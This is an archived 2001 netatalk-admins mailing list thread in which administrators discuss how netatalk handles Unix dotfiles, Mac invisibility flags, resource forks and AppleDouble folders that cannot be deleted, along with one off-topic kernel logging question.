	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA10025
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 14:19:25 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA09993
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 14:19:24 -0500 (EST)
Received: from ltsc.ucsb.edu (ltsc.ucsb.edu [128.111.224.224])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA09951
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 14:19:23 -0500 (EST)
Received: from bossland.ltsc.ucsb.edu (bossland.ltsc.ucsb.edu [128.111.224.239])
	by ltsc.ucsb.edu (8.9.3/8.9.3) with ESMTP id LAA01496
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 11:19:21 -0800
Date: Thu, 18 Jan 2001 11:19:21 -0800
From: David R Bosso <dbosso@ltsc.ucsb.edu>
To: netatalk-admins@umich.edu
Subject: RE: Hidden Files Not Being Copied
Message-ID: <753919.3188805561@bossland.ltsc.ucsb.edu>
In-Reply-To: <0169B15043B8D3119E6C00508B2CA90C2BD534@IBFMAIL1>
X-Mailer: Mulberry/2.0.5 (MacOS)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline



--On Thursday, January 18, 2001 10:47 AM -0800 "Vaughn, George" 
<GVaughn@IrwinBF.com> wrote:

> Macs don't create files without resource forks. If a file exists on a
> MacOS filesystem (FS), it has a resource fork. If a file is copied to a
> MacOS FS without a resource fork, one is created as soon as MacOS looks
> in the directory (this is why MacOS takes a while for DOS-formatted disk
> contents to appear, it's creating resource forks for the contents of the
> viewed directory).

Woah, I think you're confusing resource forks with Finder information. 
Resource forks are _not_ ubiquitous.  Maybe you've never tried opening a 
file with Resedit that does not have a resouce fork and recieved the 
following dialog:

"The file 'filename' has no resource fork.  Opening it will add one. Do you 
wish to open it?

-David

From netatalk.administrators-errors@umich.edu  Thu Jan 18 14:31:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA29553
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 14:31:18 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA25249
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 14:31:18 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA25230
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 14:31:17 -0500 (EST)
Received: from ibfmail1.irwinbf.com (mail.irwinbf.com [209.101.186.51])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA24915
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 14:31:15 -0500 (EST)
Received: by IBFMAIL1 with Internet Mail Service (5.5.2650.21)
	id <ZFWNSBHD>; Thu, 18 Jan 2001 11:29:32 -0800
Message-ID: <0169B15043B8D3119E6C00508B2CA90C2BD539@IBFMAIL1>
From: "Vaughn, George" <GVaughn@IrwinBF.com>
To: netatalk-admins@umich.edu
Cc: "'David R Bosso'" <dbosso@ltsc.ucsb.edu>,
        "'Ray Zimmerman'"
	 <rz10@cornell.edu>
Subject: RE: Hidden Files Not Being Copied
Date: Thu, 18 Jan 2001 11:29:21 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"

You're both right. Ignore my earlier post as erroneous and full of many bad
things. Apparently, my brain decided to shut off, but my hands kept talking.
Feel free to ignore my posts from now on, as obviously undernourished by
brainpower ;-) 

I'm going to bed.

G 

-----Original Message-----
From: David R Bosso [mailto:dbosso@ltsc.ucsb.edu]
Sent: Thursday, January 18, 2001 11:19 AM
To: netatalk-admins@umich.edu
Subject: RE: Hidden Files Not Being Copied




--On Thursday, January 18, 2001 10:47 AM -0800 "Vaughn, George" 
<GVaughn@IrwinBF.com> wrote:

> Macs don't create files without resource forks. If a file exists on a
> MacOS filesystem (FS), it has a resource fork. If a file is copied to a
> MacOS FS without a resource fork, one is created as soon as MacOS looks
> in the directory (this is why MacOS takes a while for DOS-formatted disk
> contents to appear, it's creating resource forks for the contents of the
> viewed directory).

Woah, I think you're confusing resource forks with Finder information. 
Resource forks are _not_ ubiquitous.  Maybe you've never tried opening a 
file with Resedit that does not have a resouce fork and recieved the 
following dialog:

"The file 'filename' has no resource fork.  Opening it will add one. Do you 
wish to open it?

-David

From netatalk.administrators-errors@umich.edu  Thu Jan 18 14:34:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA29628
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 14:34:00 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA15537
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 14:34:00 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA15512
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 14:33:59 -0500 (EST)
Received: from quartz.dis.strath.ac.uk (quartz.dis.strath.ac.uk [130.159.120.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA15438
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 14:33:57 -0500 (EST)
Received: from dis.strath.ac.uk (localhost [127.0.0.1])
	by quartz.dis.strath.ac.uk (8.11.0/8.11.0/2.7) with ESMTP id f0IJXrZ20539;
	Thu, 18 Jan 2001 19:33:53 GMT
To: Ray Zimmerman <rz10@cornell.edu>
cc: Netatalk List <netatalk-admins@umich.edu>
Subject: Re: Hidden Files Not Being Copied 
In-reply-to: Your message of "Thu, 18 Jan 2001 13:19:31 EST."
Date: Thu, 18 Jan 2001 19:33:52 +0000
Message-ID: <20537.979846432@dis.strath.ac.uk>
From: Duncan Sinclair <sinclair@dis.strath.ac.uk>


Ray Zimmerman writes:
>OK, that's makes three of us ... does anyone see any problems with this?
>
>I think ideally netatalk should have a config option to allow it 
>choose between the following 3 behaviors:
>
>1. Don't make dotfiles available to the Mac (current behavior).
>2. Make dotfiles available as visible files with no name change.
>3. Make dotfiles available as invisible files with the '.' stripped off.

Option 3 wouldn't work.  It's possible you could have two files:
  1) .foo - not marked hidden in the AppleDouble info.
  2) foo  - marked hidden in AppleDouble info.
These files whould end up the same when served to the Mac.  Likewise
most other "file munging" that you could imagine.

Instead it should be:
3. Make dotfiles available as invisible files with no name change.

Cheers,


Duncan.


From netatalk.administrators-errors@umich.edu  Thu Jan 18 14:54:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA00118
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 14:54:22 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA21429
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 14:54:22 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA21386
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 14:54:21 -0500 (EST)
Received: from ee.cornell.edu (anise.ee.cornell.edu [128.84.239.14])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA21326
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 14:54:20 -0500 (EST)
Received: from [128.84.239.190] (harrier.ee.cornell.edu [128.84.239.190])
	by ee.cornell.edu (8.9.3/8.9.1) with ESMTP id OAA27561;
	Thu, 18 Jan 2001 14:54:16 -0500 (EST)
Mime-Version: 1.0
X-Sender: rz10@postoffice.mail.cornell.edu
Message-Id: <p04320416b68cf84b9892@[128.84.239.190]>
In-Reply-To: <20537.979846432@dis.strath.ac.uk>
References: <20537.979846432@dis.strath.ac.uk>
Date: Thu, 18 Jan 2001 14:53:59 -0500
To: Duncan Sinclair <sinclair@dis.strath.ac.uk>
From: Ray Zimmerman <rz10@cornell.edu>
Subject: Re: Hidden Files Not Being Copied
Cc: Netatalk List <netatalk-admins@umich.edu>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 7:33 PM +0000 1/18/01, Duncan Sinclair wrote:
>Ray Zimmerman writes:
>  >OK, that's makes three of us ... does anyone see any problems with this?
>  >
>>I think ideally netatalk should have a config option to allow it
>>choose between the following 3 behaviors:
>>
>>1. Don't make dotfiles available to the Mac (current behavior).
>>2. Make dotfiles available as visible files with no name change.
>>3. Make dotfiles available as invisible files with the '.' stripped off.
>
>Option 3 wouldn't work.  It's possible you could have two files:
>   1) .foo - not marked hidden in the AppleDouble info.
>   2) foo  - marked hidden in AppleDouble info.
>These files whould end up the same when served to the Mac.  Likewise
>most other "file munging" that you could imagine.

OK. I see that would cause problems.

>Instead it should be:
>3. Make dotfiles available as invisible files with no name change.

Yeah ... and forget trying to convert invisible Mac files to 
dotfiles, we have AppleDouble to preserve those bits for us ... what 
was I thinking.

It looks like 1 and this new version of 3 may already be implemented 
via the 'usedots' option in the (at least recent) 
AppleVolumes.default files. What about number 2, which is what I'd 
probably prefer?

	Ray

From netatalk.administrators-errors@umich.edu  Thu Jan 18 15:05:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA00358
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 15:05:56 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA03051
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 15:05:50 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA03022
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 15:05:49 -0500 (EST)
Received: from lynxgen.com (loki.lynxgen.com [205.226.124.2])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA02954
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 15:05:47 -0500 (EST)
Received: from emgate.lynxgen.com (emgate [205.226.124.8])
	by lynxgen.com (8.8.8+Sun/8.8.8(mir-03/29/00)) with ESMTP id MAA07320
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 12:07:03 -0800 (PST)
Received: by emgate.lynxgen.com with Internet Mail Service (5.5.2448.0)
	id <Z6T0FJYY>; Thu, 18 Jan 2001 12:07:05 -0800
Message-ID: <9BA899228F1FD3119E5D00105A9FBDCA2D41CB@emgate.lynxgen.com>
From: Joseph Silva <JSilva@lynxgen.com>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: Converting K-AShare files to NetTalk AppleDouble files.
Date: Thu, 18 Jan 2001 12:07:04 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain

	We recently replaced one of our SunOS servers with a Linux server,
and
	in the process went from using K-AShare to using NetATalk.

	Unfortunatly, we copied our Macintosh files using NFS instead of
AppleShare,
	and now we are looking for a way to convert the Mac files without
having to re-copy them.

	I've tried converting the files using the K-AShare program 'karc',
with the -D option, but the converted files do not look right when viewed
under NetATalk.

	Anyone have a solution?


From netatalk.administrators-errors@umich.edu  Thu Jan 18 17:05:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA03458
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 18 Jan 2001 17:05:43 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA03811
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 18 Jan 2001 17:05:43 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA03794
	for netatalk.administrators-members@umich.edu; Thu, 18 Jan 2001 17:05:42 -0500 (EST)
Received: from clmboh1-smtp3.columbus.rr.com (dhcp065-024-000-112.columbus.rr.com [65.24.0.112] (may be forged))
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA03720
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 17:05:41 -0500 (EST)
Received: from mail.iowna.com (dhcp065-024-023-038.columbus.rr.com [65.24.23.38])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id f0IM3N721546
	for <netatalk-admins@umich.edu>; Thu, 18 Jan 2001 17:03:24 -0500 (EST)
Sender: wmoran@clmboh1-smtp3.columbus.rr.com
Message-ID: <3A676809.F97BC22E@mail.iowna.com>
Date: Thu, 18 Jan 2001 17:02:49 -0500
From: Bill Moran <wmoran@mail.iowna.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Hidden Files Not Being Copied
References: <3.0.3.32.20010118182046.031f39a0@mailhost.cam.harlequin.co.uk> <p0432040db68ce9d932c9@[128.84.239.190]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Well, it seems to me after much discussoin, that the basic config that
we wanted already exists. In the long run, there may be ways to refine
it, but I'm pretty sure that the options are manageable as they
currently stand (my opinion anyway)
(As a side note, I feel really stupid discussing this as I was: once the
config options were pointed out to me I remembered reading about them
...)

I still want to know why there are directories that can't be deleted:
and I still suspect it has something to do with the .Apple* files. Has
anyone else witnessed this behaviour? Is it something to do with FreeBSD
only?

-Bill

From netatalk.administrators-errors@umich.edu  Fri Jan 19 00:26:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA14391
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 00:26:02 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA01127
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 00:26:02 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA01124
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 00:26:02 -0500 (EST)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA01117
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 00:26:00 -0500 (EST)
Received: from n37-5.berlin.snafu.de ([195.21.37.5] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.14 #1)
	id 14JU3j-0002Ni-00
	for netatalk-admins@umich.edu; Fri, 19 Jan 2001 06:25:59 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id GAA29637
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 06:25:38 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Hidden Files Not Being Copied
Date: Fri, 19 Jan 2001 06:03:24 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <3.0.3.32.20010118182046.031f39a0@mailhost.cam.harlequin.co.uk> <p0432040db68ce9d932c9@[128.84.239.190]> <3A676809.F97BC22E@mail.iowna.com>
In-Reply-To: <3A676809.F97BC22E@mail.iowna.com>
MIME-Version: 1.0
Message-Id: <01011906253702.00573@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id AAA14391

On Thu, 18 Jan 2001, Bill Moran wrote:
[snip]
> I still want to know why there are directories that can't be deleted:
> and I still suspect it has something to do with the .Apple* files. Has
> anyone else witnessed this behaviour? Is it something to do with FreeBSD
> only?

Do you mean directories which contain dotfiles?
This also applies linux.

Netatalk doesn't see them but can tell that this directory is not empty.

But I tried just that scenario:
1. created an empty folder (mac)
2. created (touched) a dotfile within that (u*x)
3. dropped it into the trash (mac)
4. tried to empty the trash (mac)
   error: ...contains items that are in use...
5. put away (cmd-y) (mac)
   error: The folder <folder> could not be put away, because it was created on the desktop.

The last looks strange!

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Fri Jan 19 00:56:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA14988
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 00:56:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA17425
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 00:56:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA17415
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 00:56:05 -0500 (EST)
Received: from clmboh1-smtp3.columbus.rr.com (dhcp065-024-000-112.columbus.rr.com [65.24.0.112] (may be forged))
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA17409
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 00:56:04 -0500 (EST)
Received: from mail.iowna.com (dhcp065-024-023-038.columbus.rr.com [65.24.23.38])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id f0J5re705537;
	Fri, 19 Jan 2001 00:53:41 -0500 (EST)
Sender: wmoran@clmboh1-smtp3.columbus.rr.com
Message-ID: <3A67D645.6E114681@mail.iowna.com>
Date: Fri, 19 Jan 2001 00:53:09 -0500
From: Bill Moran <wmoran@mail.iowna.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: deltor@snafu.de
CC: netatalk-admins@umich.edu
Subject: Re: Hidden Files Not Being Copied
References: <3.0.3.32.20010118182046.031f39a0@mailhost.cam.harlequin.co.uk> <p0432040db68ce9d932c9@[128.84.239.190]> <3A676809.F97BC22E@mail.iowna.com> <01011906253702.00573@athlet>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Carsten Neumann wrote:
> 
> On Thu, 18 Jan 2001, Bill Moran wrote:
> [snip]
> > I still want to know why there are directories that can't be deleted:
> > and I still suspect it has something to do with the .Apple* files. Has
> > anyone else witnessed this behaviour? Is it something to do with FreeBSD
> > only?
> 
> Do you mean directories which contain dotfiles?

No, no dotfiles (except for the .Apple* files that Netatalk creates)

The sequence may be slightly different than I described. Here was
exactly what I was doing ...
1. Use WinNT to copy a folder tree full of stuff onto the FreeBSD server
via Samba
2. Sit down at the FreeBSD box and verify that the files/directories had
ownership/perms that it should be deletable by Netatalk users.
3. Attempt to delete the folder tree from a Mac
Result: all files are deleted, directories are not. Mac give a "can not
delete because in use" error.
On the server, the .AppleDouble files remain (these were created by
Netatalk when the Mac browsed the tree) but no other files exist ... "rm
-r *" deletes the tree without error. It can also be deleted from the
WinNT station.

I also duplicated the test with Irix/NFS with the same results (I.E.
create tree with Irix, Mac deletes files but not folders)

Here is the behaviour in a nutshell:
NT/Samba created, Irix/NFS deletes without error
Irix/NFS created, NT/Samba deletes without error
FreeBSD created, NT/Samba deletes without error
FreeBSD created, Irix/NFS deletes without error
Mac/Netatalk created, NT/Samba deletes without error
Mac/Netatalk created, Irix/NFS deletes without error
NT/Samba created, Mac/Netatalk cannot delete
Irix/NFS created, Mac/Netatalk cannot delete
FreeBSD created, Mac/Netatalk cannot delete
Mac/Netatalk created, Mac/Netatalk deletes without error

> Netatalk doesn't see them but can tell that this directory is not empty.

I understand, but considering Netatalk CREATED the .AppleDouble files,
should it delete them? I even dug into the source code, and as far as I
can tell, it should ALWAYS delete .AppleDouble files before removing a
directory.

> But I tried just that scenario:
> 1. created an empty folder (mac)
> 2. created (touched) a dotfile within that (u*x)

An .AppleDouble dotfile, or another dotfile? When I run this scenerio,
there are no dotfiles in the directories other than the .AppleDouble
files.

> 3. dropped it into the trash (mac)
> 4. tried to empty the trash (mac)
>    error: ...contains items that are in use...
> 5. put away (cmd-y) (mac)
>    error: The folder <folder> could not be put away, because it was created on the desktop.

The sequence you used here is different from what I described. If I
create a folder tree from the Macintosh, moving it to the trash succeeds
without error. I only have problems if the tree was NOT originally
created by the Mac.

The search continues ...

-Bill

From netatalk.administrators-errors@umich.edu  Fri Jan 19 07:04:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA21736
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 07:04:21 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA14838
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 07:04:21 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA14806
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 07:04:20 -0500 (EST)
Received: from dave-world.net (dave-world.net [204.189.73.19])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA14748
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 07:04:19 -0500 (EST)
Received: from heath [205.139.250.148] by dave-world.net
  (SMTPD32-6.03) id AC74D9950096; Fri, 19 Jan 2001 06:00:52 -0600
From: "Heath Henderson" <heath@dave-world.net>
To: "Appletalk on Linux" <LINUX-ATALK@NETSPACE.ORG>
Cc: <netatalk-admins@umich.edu>
Subject: Off Topic DNS problem
Date: Fri, 19 Jan 2001 06:06:26 -0600
Message-ID: <NDBBLIPGCLLELIOOICKOIEHADJAA.heath@dave-world.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <3A67D645.6E114681@mail.iowna.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal

Hello all, I am writing this in hopes that someone knows of my problem.  It
isn't really a problem but more of an irritation.  I just upgraded our DNS
server RH 6.2 from Kernel 2.2.12 to 2.2.16.  All went well but now After a
reboot I get Reverse Lookup failure errors.  They hit our Proxy server and
die, but I am not sure why they are being displayed.  They look like the
following

IP_MasQ:Reverse ICMP:failed checksum from xxx.xxx.xxx.xx

(Where xxx.xxx.xxx.xx is our Proxy server)

I am not sure how it was set up before, but I am sure that it is possible to
turn this display off so as I do not see this when I am in the middle of
working on things on this box.  I am not sure why it does this, but I need
to turn off the constant display of this.

Any help would be great.

Thanks

Heath Henderson


From netatalk.administrators-errors@umich.edu  Fri Jan 19 07:33:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA22342
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 07:33:22 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA00991
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 07:33:17 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA00975
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 07:33:17 -0500 (EST)
Received: from igw1.edipresse.ch (igw1.edipresse.ch [194.209.141.131])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA00909
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 07:33:15 -0500 (EST)
Received: (from root@localhost)
	by igw1.edipresse.ch (8.9.3/8.9.3) id NAA13697;
	Fri, 19 Jan 2001 13:35:14 +0100 (MET)
Received: from unknown(172.16.11.46) by igw1.edipresse.ch via smap (V2.1+anti-relay+anti-spam)
	id xma013691; Fri, 19 Jan 01 13:35:11 +0100
Received: by meloe.edipresse.ch with Internet Mail Service (5.5.2653.19)
	id <DDR15C3K>; Fri, 19 Jan 2001 13:32:42 +0100
Message-ID: <9F9FCF268C46D411B60600508B6F8726A275D4@meloe.edipresse.ch>
From: Michalowski Thierry <Thierry.Michalowski@edipresse.ch>
To: "'Ray Zimmerman'" <rz10@cornell.edu>,
        Netatalk List
	 <netatalk-admins@umich.edu>
Subject: RE: Hidden Files Not Being Copied
Date: Fri, 19 Jan 2001 13:32:40 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C08213.EA161880"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C08213.EA161880
Content-Type: text/plain;
	charset="iso-8859-1"

OK folks, let's clarify something on the U*X side.

A file beginning with a . is definitely NOT MEANT to be "invisible".
It is only that the default "ls" command behaviour is to filter out these
files, for readability purposes.
And the default shell wildcard, "*", too.

Any other thingy (command, API) in the U*X world "sees" everything in a
directory.

<Proof>
Proof program in Perl:
----cut there----
#!/usr/local/bin/perl
exit unless @ARGV;
$dir = shift @ARGV;
opendir(DIR,$dir);
print "Dir entries are: ", join("\n",readdir(DIR)), "\n";
closedir(DIR);
----cut there----

Run this with any directory as the first argument and you will get a listing
of all files in it.
You see, no filter, just a plain readdir() which is the exact equivalent of
the native C-language one.
</Proof>

Moreover, as some people already pointed out, a dot-file is a valid name on
a Mac.

Given that, I wonder HOW anyone is supposed to justify that netatalk would
by any mean translate a dot-file into an invisible file.

My personal point of view would be to be horrified by such a beast!
Of course, implementing whatever the community want is possible, such as
"Veto" files as in SaMBa . But please: don't make it the default, for the
sake of my rest! :-)

HTH
Thierry

-----Original Message-----
From: Ray Zimmerman [mailto:rz10@cornell.edu]
Sent: Thursday, January 18, 2001 6:36 PM
To: Netatalk List
Subject: Re: Hidden Files Not Being Copied


At 10:30 AM -0500 1/18/01, Bill Moran wrote:
>I'm not terribly familiar with Macs, how do you set a file to be
>invisible?

Each file has a set of attributes stored with it indicating whether 
it is visible, the file type, creator app, whether it is locked, etc.

I should also mention that on MacOS a filename starting with a . is 
NOT an illegal name. Or to get rid of the double negative ... it's 
JUST FINE. I have .htaccess files on my Mac and they've never behaved 
any differently than files with other names.

The problem is that in *nix the . means it's invisible, whereas on 
the Mac it just means that you wanted to call your file .<something> 
... netatalk has to try to do what you want and I think it seems to 
be doing pretty close to the right thing, though it does seem that it 
could take .files (with the exception of .AppleDouble) and treat them 
as .files with the invisible bit set (I see no need to change the 
name). This way they would be "seen" by the MacOS (but not by the Mac 
user) and hence copied along with the enclosing folder.

Thoughts?

	Ray

------_=_NextPart_001_01C08213.EA161880
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>RE: Hidden Files Not Being Copied</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>OK folks, let's clarify something on the U*X =
side.</FONT>
</P>

<P><FONT SIZE=3D2>A file beginning with a . is definitely NOT MEANT to =
be &quot;invisible&quot;.</FONT>
<BR><FONT SIZE=3D2>It is only that the default &quot;ls&quot; command =
behaviour is to filter out these files, for readability =
purposes.</FONT>
<BR><FONT SIZE=3D2>And the default shell wildcard, &quot;*&quot;, =
too.</FONT>
</P>

